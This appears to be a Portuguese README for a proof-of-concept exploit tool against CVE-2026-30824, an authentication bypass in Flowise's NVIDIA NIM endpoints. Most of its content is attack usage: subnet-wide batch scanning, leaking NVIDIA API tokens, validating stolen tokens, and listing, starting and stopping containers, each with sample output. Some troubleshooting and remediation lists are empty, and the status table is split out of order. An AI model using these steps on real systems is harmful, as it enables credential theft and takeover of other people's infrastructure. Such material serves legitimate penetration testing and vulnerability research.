
Um exploit de prova de conceito para **CVE-2026-30824**, uma vulnerabilidade crítica de bypass de autenticação no Flowise que expõe endpoints da API NVIDIA NIM sem autenticação.
Um verificador e exploit de prova de conceito para CVE-2026-30824, uma vulnerabilidade crítica de bypass de autenticação no Flowise que expõe endpoints da API NVIDIA NIM sem autenticação.
CVE-2026-30824 é um bypass de autenticação crítico no Flowise (< 3.0.13) que permite que atacantes remotos não autenticados acessem endpoints de gerenciamento de contêineres NVIDIA NIM e de geração de tokens de API.
| Campo | Valor |
|---|---|
| Pontuação CVSS | 9.8 (Crítico) |
| CWE | CWE-306: Ausência de Autenticação para Função Crítica |
| Versões Afetadas | Flowise < 3.0.13 |
| Impacto | Gerenciamento completo de contêineres, acesso à GPU, roubo de tokens |
O caminho /api/v1/nvidia-nim/* está na lista de permissões do middleware global de autenticação, permitindo acesso não autenticado a:
✅ Detecção de Vulnerabilidade — Verificação rápida se o alvo é vulnerável
✅ Extração de Tokens — Vazamento de tokens da API NVIDIA de endpoints vulneráveis
✅ Validação de Tokens — Verificação de tokens contra a API NVIDIA (demonstra o raio de impacto)
✅ Enumeração de Contêineres — Lista contêineres NIM em execução
✅ Varredura em Lote — Varre vários alvos a partir de um arquivo
✅ Bypass de SSL — Ignora certificados autoassinados por padrão
✅ Saída Colorida — Indicadores de status fáceis de ler (verde/amarelo/vermelho)
✅ Reconhecimento — Mapeamento completo de endpoints e diagnósticos
requests# Clone ou baixe o script
git clone <repository>
cd cve-2026-30824
# Instale as dependências
pip install -r requirements.txt
# ou
pip install requests
# Verifica se um único alvo é vulnerável
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Saída esperada (VULNERÁVEL):
# [+] Alvo parece VULNERÁVEL (HTTP 200)
# Resposta: {...}
# Crie targets.txt com uma URL por linha
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Varra todos os alvos (modo rápido, sem prompts)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Saída resumida esperada:
# ============================================================
# [*] Resumo da Varredura
# ============================================================
# [+] VULNERÁVEIS: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] CORRIGIDOS: 1
# ✗ http://192.168.1.102:3000
# Vaza o token da API NVIDIA do endpoint vulnerável
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Saída esperada:
# [*] Tentando vazar token da API NVIDIA...
# [+] Token da API NVIDIA: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Tipo de Token: Bearer
# [+] Expira em: 3600s
# Verifica se um token vazado funciona contra a API NVIDIA real
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Saída esperada:
# [*] Validando token contra a API NVIDIA...
# [+] Token VÁLIDO! Acesso a 45 modelos NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Enumera contêineres no alvo
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Saída esperada:
# [*] Listando contêineres em execução...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Executa todas as verificações de reconhecimento no alvo vulnerável
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Argumentos opcionais:
-h, --help Mostra esta mensagem de ajuda e sai
-t, --target TARGET URL do alvo (ex.: http://192.168.1.100:3000)
-f, --targets-file FILE Arquivo com lista de alvos (um por linha)
Detecção de Vulnerabilidade:
--check Apenas verifica se o alvo é vulnerável
--scan-only Varre alvos em busca de vulnerabilidade sem prompts
--debug Mostra detalhes da requisição e respostas brutas
Exploração:
--get-token Vaza token da API NVIDIA
--validate-token TOKEN Valida token vazado contra a API NVIDIA
--list-containers Lista contêineres NIM em execução
--get-container CONTAINER_ID Obtém detalhes do contêiner
--get-image IMAGE_ID Obtém detalhes da imagem
--pull-image IMAGE_TAG Faz pull de uma imagem Docker (ex.: nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Inicia um contêiner a partir de uma tag de imagem
--container-name NAME Nome para o contêiner iniciado
--stop-container CONTAINER_ID Para um contêiner em execução
--preload Aciona endpoint de pré-carregamento de recursos
--all Executa todas as verificações de reconhecimento
Avançado:
--timeout SECONDS Timeout de requisição em segundos (padrão: 15)
# 1. Varre toda a sub-rede em busca de instâncias vulneráveis
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Para cada alvo vulnerável, extrai o token
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Valida o impacto do token
python3 CVE-2026-30824.py --validate-token "<token-extraido>"
# Verifica a vulnerabilidade e demonstra o raio de impacto completo
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Isso irá:
# 1. Verificar a vulnerabilidade
# 2. Extrair o token da API NVIDIA
# 3. Validar o token contra a API NVIDIA
# 4. Listar contêineres em execução
# 5. Mostrar enumeração de recursos
# Monitora um alvo periodicamente (via cron ou agendador)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | Significado |
|---|---|
| 200 | ✅ Vulnerável (endpoint acessível) |
| 400 | ✅ Vulnerável (erro de aplicação, mas o endpoint existe) |
Problema: O endpoint retorna uma página HTML em vez de uma resposta JSON da API.
Soluções:
Problema: Não é possível alcançar o alvo.
Soluções:
# Teste a conectividade
curl -v http://192.168.1.100:3000/
# Aumente o timeout
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
Problema: O alvo usa certificado autoassinado ou expirado.
Solução: O script desativa a verificação SSL por padrão. Se os problemas persistirem:
# Adicione explicitamente porta e protocolo
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
Problema: Token extraído, mas a validação contra a API NVIDIA falha.
Causas:
⚠️ AVISO LEGAL
Se você descobrir esta vulnerabilidade em produção:
Imediato:
Longo prazo:
/api/v1/nvidia-nim/*Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. Consulte o arquivo LICENSE para detalhes.
Este exploit é fornecido "como está", sem garantia. Use apenas em sistemas que você possui ou para os quais tem permissão explícita por escrito. O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta.
Criado para testes de penetração autorizados e pesquisa de segurança.
Última Atualização: Abril de 2026
| 401 | 🟡 Corrigido (autenticação necessária) |
| 404 | 🟡 Não é Flowise ou o endpoint não existe |
| 5xx | 🔴 Erro de servidor/configuração incorreta |